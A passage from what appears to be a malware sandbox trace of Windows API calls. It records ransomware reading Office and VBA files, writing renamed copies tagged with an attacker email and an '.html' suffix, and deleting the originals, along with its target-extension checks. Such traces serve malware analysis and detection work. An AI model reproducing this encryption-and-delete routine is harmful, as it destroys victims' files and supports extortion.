(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 1 [0047.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0047.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0047.672] lstrlenW (lpString=".doc") returned 4 [0047.672] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0047.672] lstrlenW (lpString=".docx") returned 5 [0047.672] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0047.672] lstrlenW (lpString=".pdf") returned 4 [0047.672] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0047.672] lstrlenW (lpString=".xls") returned 4 [0047.672] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0047.672] lstrlenW (lpString=".xlsx") returned 5 [0047.672] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0047.672] lstrlenW (lpString=".ppt") returned 4 [0047.672] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0047.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0047.672] lstrlenW (lpString=".zip") returned 4 [0047.672] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0047.672] lstrlenW (lpString=".rar") returned 4 [0047.672] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0047.672] lstrlenW (lpString=".bz2") returned 4 [0047.672] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0047.672] lstrlenW (lpString=".7z") returned 3 [0047.672] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0047.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0047.672] lstrlenW (lpString=".dbf") returned 4 [0047.672] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0047.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0047.673] lstrlenW (lpString=".1cd") returned 4 [0047.673] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0047.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0047.673] lstrlenW (lpString=".jpg") returned 4 [0047.673] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0047.673] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=944994) returned 1 [0047.673] CloseHandle (hObject=0x214) returned 1 [0047.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0047.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.673] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.673] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.674] GetLastError () returned 0x0 [0047.674] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xe6b62, lpOverlapped=0x0) returned 1 [0047.691] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6b70, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6b70, lpOverlapped=0x0) returned 1 [0047.709] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.709] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0047.709] SetEndOfFile (hFile=0x20c) returned 1 [0047.709] CloseHandle (hObject=0x20c) returned 1 [0047.709] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.709] SetEndOfFile (hFile=0x214) returned 1 [0047.716] CloseHandle (hObject=0x214) returned 1 [0047.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.716] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 1 [0047.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0047.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0047.716] lstrlenW (lpString=".doc") returned 4 [0047.716] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0047.716] lstrlenW (lpString=".docx") returned 5 [0047.716] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0047.716] lstrlenW (lpString=".pdf") returned 4 [0047.717] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0047.717] lstrlenW (lpString=".xls") returned 4 [0047.717] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0047.717] lstrlenW (lpString=".xlsx") returned 5 [0047.717] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0047.717] lstrlenW (lpString=".ppt") returned 4 [0047.717] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0047.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0047.717] lstrlenW (lpString=".zip") returned 4 [0047.717] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0047.717] lstrlenW (lpString=".rar") returned 4 [0047.717] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0047.717] lstrlenW (lpString=".bz2") returned 4 [0047.717] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0047.717] lstrlenW (lpString=".7z") returned 3 [0047.717] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0047.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0047.717] lstrlenW (lpString=".dbf") returned 4 [0047.717] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0047.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0047.717] lstrlenW (lpString=".1cd") returned 4 [0047.717] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0047.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0047.717] lstrlenW (lpString=".jpg") returned 4 [0047.717] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0047.717] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=123956) returned 1 [0047.717] CloseHandle (hObject=0x214) returned 1 [0047.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 0x20 [0047.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.718] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.718] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.718] GetLastError () returned 0x0 [0047.718] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x1e434, lpOverlapped=0x0) returned 1 [0047.981] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1e440, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x1e440, lpOverlapped=0x0) returned 1 [0047.983] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.983] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0047.983] SetEndOfFile (hFile=0x20c) returned 1 [0047.983] CloseHandle (hObject=0x20c) returned 1 [0047.983] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.984] SetEndOfFile (hFile=0x214) returned 1 [0047.985] CloseHandle (hObject=0x214) returned 1 [0047.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.985] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 1 [0047.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0047.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0047.986] lstrlenW (lpString=".doc") returned 4 [0047.986] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0047.986] lstrlenW (lpString=".docx") returned 5 [0047.986] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0047.986] lstrlenW (lpString=".pdf") returned 4 [0047.986] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0047.986] lstrlenW (lpString=".xls") returned 4 [0047.986] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0047.986] lstrlenW (lpString=".xlsx") returned 5 [0047.986] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0047.986] lstrlenW (lpString=".ppt") returned 4 [0047.986] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0047.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0047.986] lstrlenW (lpString=".zip") returned 4 [0047.986] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0047.986] lstrlenW (lpString=".rar") returned 4 [0047.986] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0047.986] lstrlenW (lpString=".bz2") returned 4 [0047.986] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0047.986] lstrlenW (lpString=".7z") returned 3 [0047.986] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0047.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0047.986] lstrlenW (lpString=".dbf") returned 4 [0047.986] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0047.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0047.986] lstrlenW (lpString=".1cd") returned 4 [0047.987] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0047.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0047.987] lstrlenW (lpString=".jpg") returned 4 [0047.987] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0051.001] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.007] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0051.639] GetLastError () returned 0x0 [0051.639] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x3a19, lpOverlapped=0x0) returned 1 [0051.718] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0051.719] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.719] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.719] SetEndOfFile (hFile=0x210) returned 1 [0051.719] CloseHandle (hObject=0x210) returned 1 [0051.719] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.719] SetEndOfFile (hFile=0x20c) returned 1 [0051.720] CloseHandle (hObject=0x20c) returned 1 [0051.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0051.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0051.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0051.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0051.721] lstrlenW (lpString=".doc") returned 4 [0051.721] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.721] lstrlenW (lpString=".docx") returned 5 [0051.721] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.721] lstrlenW (lpString=".pdf") returned 4 [0051.721] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.721] lstrlenW (lpString=".xls") returned 4 [0051.721] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.721] lstrlenW (lpString=".xlsx") returned 5 [0051.721] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.721] lstrlenW (lpString=".ppt") returned 4 [0051.721] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0051.721] lstrlenW (lpString=".zip") returned 4 [0051.721] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.721] lstrlenW (lpString=".rar") returned 4 [0051.721] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.721] lstrlenW (lpString=".bz2") returned 4 [0051.721] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.721] lstrlenW (lpString=".7z") returned 3 [0051.721] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0051.721] lstrlenW (lpString=".dbf") returned 4 [0051.721] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0051.721] lstrlenW (lpString=".1cd") returned 4 [0051.721] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0051.721] lstrlenW (lpString=".jpg") returned 4 [0051.721] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.722] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=3140) returned 1 [0051.722] CloseHandle (hObject=0x20c) returned 1 [0051.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0051.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0051.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0051.722] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.722] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0051.722] GetLastError () returned 0x0 [0051.722] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xc44, lpOverlapped=0x0) returned 1 [0051.724] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0051.725] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.725] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.725] SetEndOfFile (hFile=0x210) returned 1 [0051.725] CloseHandle (hObject=0x210) returned 1 [0051.725] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.726] SetEndOfFile (hFile=0x20c) returned 1 [0051.726] CloseHandle (hObject=0x20c) returned 1 [0051.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0051.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0051.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0051.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0051.727] lstrlenW (lpString=".doc") returned 4 [0051.727] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.727] lstrlenW (lpString=".docx") returned 5 [0051.727] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.727] lstrlenW (lpString=".pdf") returned 4 [0051.727] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.727] lstrlenW (lpString=".xls") returned 4 [0051.727] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.727] lstrlenW (lpString=".xlsx") returned 5 [0051.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.727] lstrlenW (lpString=".ppt") returned 4 [0051.727] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0051.727] lstrlenW (lpString=".zip") returned 4 [0051.727] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.727] lstrlenW (lpString=".rar") returned 4 [0051.727] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.727] lstrlenW (lpString=".bz2") returned 4 [0051.727] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.727] lstrlenW (lpString=".7z") returned 3 [0051.727] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0051.727] lstrlenW (lpString=".dbf") returned 4 [0051.727] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0051.727] lstrlenW (lpString=".1cd") returned 4 [0051.727] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0051.727] lstrlenW (lpString=".jpg") returned 4 [0051.727] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.728] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=12482) returned 1 [0051.728] CloseHandle (hObject=0x20c) returned 1 [0051.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0051.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0051.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0051.728] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.728] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 